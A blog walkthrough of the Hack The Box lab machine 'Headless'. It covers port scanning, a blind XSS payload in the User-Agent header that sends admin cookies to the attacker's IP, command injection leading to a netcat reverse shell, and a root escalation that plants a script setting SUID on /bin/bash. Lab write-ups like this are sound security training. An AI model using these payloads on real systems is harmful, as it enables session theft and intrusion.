tanades@home:~$

Headless



Headless is an easy-difficulty Linux machine that features a Python Werkzeug server hosting a website. The website has a customer support form, which is found to be vulnerable to blind Cross-Site Scripting (XSS) via the User-Agent header. This vulnerability is leveraged to steal an admin cookie, which is then used to access the administrator dashboard. The page is vulnerable to command injection, leading to a reverse shell on the box. Enumerating the user’s mail reveals a script that does not use absolute paths, which is leveraged to get a shell as root.



Walkthrough

Reconnaissance

The first thing to do is scan for open ports in the target machine, I will divide this in 3 phases:

  1. Scan for open ports
  2. Scan for services in these open ports
  3. Scan for vulnerabilities in these services


Let’s start by scanning for open ports:

sudo nmap -sS -sU 10.10.11.8 -p- -T4 --min-rate 5000 -oG all_ports.txt --open -n -Pn

Port_Scan


There are two open ports:

  • 22/tcp
  • 5000/tcp


Even though we can see that nmap is reporting a service, it is only given by the port number, not by any check, so let’s check which services are running in these ports:

sudo nmap -sS 10.10.11.8 -p 22,5000 -T4 --min-rate 5000 -oX open_ports.xml -oN open_ports.txt --version-all -n -Pn -A -v

Service_Scan


We can see that the two services correspond to:

  • 22/tcp ssh
  • 5000/tcp http


Although nmap is reporting us that the service might be upnp, we can see html code in the response. Some interesting pieces of information are the version of Werkzeug, Python and the is_admin cookie.

Let’s scan for vulnerabilities:

sudo nmap -sS 10.10.11.8 -p 22,5000 -T4 --min-rate 5000 --script="vuln and safe or intrusive and safe or discovery" -oN vulns.txt -oX vulns.xml -n -Pn -v

From this scan we got no relevant information.


Let’s scan this website for directories and files it may contain:

gobuster dir -u http://10.10.11.8:5000 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -o gobuster_dir_and_file_enum_5000.txt -t 25 -r

Gobuster_Scan


The dashboard website requires some kind of authorization, which may be related to the is_admin cookie.

Unauthorized


Before exploring the website, let’s add an entry in /etc/hosts for this machine:

etc_hosts





Foothold

The first thing we see when exploring the website is a countdown:

Welcome


By clicking on the link we get to a support form, we can try to inject HTML code with JavaScript code in this form, we will use it to steal the reader’s cookies:

<script>
	var i=new Image();
	i.src="http://10.10.16.4/?cookie="+btoa(document.cookie);
</script>



This code will create a variable that is supposed to be an image, the image will be requested to our server along containing the user cookies encoded in base64.

Contact


Before clicking on submit, let’s open a web server to receive the request:

sudo python3 -m http.server 80

After submitting the form, we receive this notification:

Hacking


Our code has not been submitted to the target, however we can see that the website has gathered and send some information available in the HTTP request to the administrators. Among all of these information, there is one piece that we can modify, the User-Agent. Let’s use BurpSuite to do this:

XSS

After a few moments, we receive a request to our web server: Cookie_Steal


We should now decode the cookie:

echo -n "aXNfYWRtaW49SW1Ga2JXbHVJZy5kbXpEa1pORW02Q0swb3lMMWZiTS1TblhwSDA=" | base64 -d

Cookie_Decode


We can inject this cookie into our browser to impersonate the administrator:

Cookie_injection


Now we can navigate to the dashboard website to see the administrator dashboard:

Dashboard


We can see that the website is used to generate a report based on the health of the website, when we click the Generate Report button we can see the message Systems are up and running! which may imply that this website is executing an OS command. Let’s try to send our attacker machine a ping with BurpSuite:

sudo tcpdump -vvvXi tun0 icmp

ping

tcpdump


It worked! Let’s now try to get a reverse shell:

sudo rlwrap nc -nlvp 443

shell_burp


We received a shell:

shell


Let’s sanitize the shell:

Pwned> script /dev/null -c /bin/bash
#Ctrl+Z
Hacker> stty raw -echo; fg
Pwned> reset xterm
Pwned and Hacked> stty size #Para comprobar el número de filas y columnas del terminal
Pwned> stty rows $rows columns $columns
export TERM=xterm
export SHELL=bash


We are logged in as dvir, so we got the user flag.

whoami

user_flag





Privilege Escalation

During the initial reconnaissance, we discovered that user dvir can run the script /usr/bin/syscheck using sudo.

sudoers


This script, among other things, run the initdb.sh file* indicated by **relative path:

#!/bin/bash

if [ "$EUID" -ne 0 ]; then
  exit 1
fi

last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"

disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"

load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"

if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
  /usr/bin/echo "Database service is not running. Starting it..."
  ./initdb.sh 2>/dev/null
else
  /usr/bin/echo "Database service is running."
fi

exit 0



We can leverage this to create our initdb.sh file and run it with sudo privileges:

echo "chmod u+s /bin/bash" > initdb.sh
chmod +x initdb.sh
sudo /usr/bin/syscheck



We can now check that the /bin/bash binary has SUID permission:

SUID


And to finally gain privileges we can run:

bash -p

root_flag